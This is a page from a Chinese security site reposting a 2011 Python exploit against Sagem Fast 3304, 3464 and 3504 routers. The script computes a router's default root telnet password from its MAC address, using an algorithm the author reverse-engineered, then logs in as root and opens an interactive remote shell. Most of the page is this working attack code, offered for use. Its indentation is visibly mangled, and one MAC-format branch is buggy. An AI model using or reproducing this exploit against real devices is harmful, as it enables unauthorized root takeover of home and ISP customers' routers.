首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sagem Router Fast 3304/3464/3504 Telnet Authentication Bypass
来源:http://keelhaule.tumblr.com 作者:Elouafiq 发布时间:2011-08-17  

#!/home/bin/python

# Remote Exploit: SAGEM ROUTER FAST 3304/3464/3504 - Telnet Authentication bypass
# Date: 15-August-2011
# Author: Elouafiq Ali
# Version: 3304-V1 / 3304-V2 / 3464 / 3504
# Tested on: Linux Ubuntu 11.04, Linux Backtrack 5
# Tested Router: SAGEM FAST 3304-V2
# Tested on Resellers/ISPs: Wanadoo (France), Maroc Telecom (Morocco)
# Products affected: Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504
# Blog: http://keelhaule.tumblr.com

"""
 Sagem Fast Routers (3304-V1 / 3304-V2 / 3464 / 3504) Come with a default Preconfigured Root Password
 That the ISPs don't change it, but instead they create another admin account above it,
 the root password differs from a router to another, since it is computed from its MAC address.
 Thus, each unique router has its own password what makes bruteforce or dictionary attacks inefficient or impossible
 After reverse engineering the Algorithm that computes the default password based on the MAC address
 This exploit opens a remote shell in the remote host.
 (Generally its an Almquist Shell 'ash', which commands are compatible to the Bourne Shell 'bsh')

 Usage: ./{file_name} ip_adress mac_address
"""


from telnetlib import Telnet
import time, sys, tty, termios
from threading import *

host = ''
port = 23
user = "root"
password=""
class ReaderThread(Thread):
        def __init__(self, telnet):
                self.telnet = telnet
                Thread.__init__(self)
       
        def run(self):
                while 1:
                        str = self.telnet.read_some()
                        if str == '': break
                        sys.stdout.write(str)
                        sys.stdout.flush()
def mash(a,b):
  first=min(a,b)
  second=max(a,b)
  if( int(second ,16 ) < 10) :
    if(int(first,16)+int(second,16)<=9):
      return chr(ord(first)+int(second,16))
    else:
      return hex(ord(first)+int(second,16))
  else:
      return chr(ord(second)+int(first,16))

def main(host, port):
        telnet = Telnet()
        telnet.open(host, port)
 #Usually Telnet prompt starts with this, if the telnet service provide another
 #prompt, change it to that prompt
 telnet.read_until("login: ")
 telnet.write(user + "\n")
 #the note above also applies for this
 telnet.read_until("Password: ")
 telnet.write(password + "\n")
 #just omit this line if you want to just have the telnet command prompt,
 #or change it to what feel confortable with
 telnet.write("shell\n")
        reader = ReaderThread(telnet)
        reader.start()

 fd = sys.stdin.fileno()
 old_settings = termios.tcgetattr(fd)
 tty.setraw(fd)
        while 1:
                if not reader.isAlive(): break
  ch = sys.stdin.read(1)
                telnet.write(ch)
        telnet.close()
 termios.tcsetattr(fd, 1, old_settings)

if __name__ == '__main__':
        try:
                host = sys.argv[1]
        except: pass
 mac_address=sys.argv[2]
 lenght=len(mac_address)
 #some arbitrary value
 password=[ c for c in "00000000" ]
 if lenght!=12 :
  # Input Sanitization and Normalization
  if lenght==17:
   if mac_address[2]==':' :
    mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()
   elif mac_address[2]=='-' :
    mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower()
   else: 
    print  '[!] Please enter a valid MAC address!' 
    exit()
  else:
   print  "[!] Please enter a valid MAC address!"
   exit()
 
 mac=[ c.lower() for c in mac_address]

 password[0]= mash(mac[5],mac[11])
 password[1]= mash(mac[0],mac[2])
 password[2]= mash(mac[10],mac[11])
 password[3]= mash(mac[0],mac[9])
 password[4]= mash(mac[10],mac[6])
 password[5]= mash(mac[3],mac[9])
 password[6]= mash(mac[1],mac[6])
 password[7]= mash(mac[3],mac[4])
 password="".join(p for p in password)
 print "[+] W00t The Passwd is ", password
        main(host, port)

# Exploit written by Ali Elouafiq , Exploit-DB , 2011


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Simple HTTPd 1.42 PUT Request
·Mozilla Firefox 3.6.16 mChanne
·F-secure Browsing Protection (
·Media Player Classic v1.2.1008
·Contrexx Shopsystem <= 2.2 SP3
·RealPlayer 12.0.1.660 Stack Ov
·D.R. Software Audio Converter
·RealPlayer 12.0.1.660 Stack Ha
·NSHC Papyrus Heap Overflow Vul
·VLC Media Player 1.1.10 The Lu
·SikaBoom Remote Buffer Overflo
·Windows Internet Explorer 9.0.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved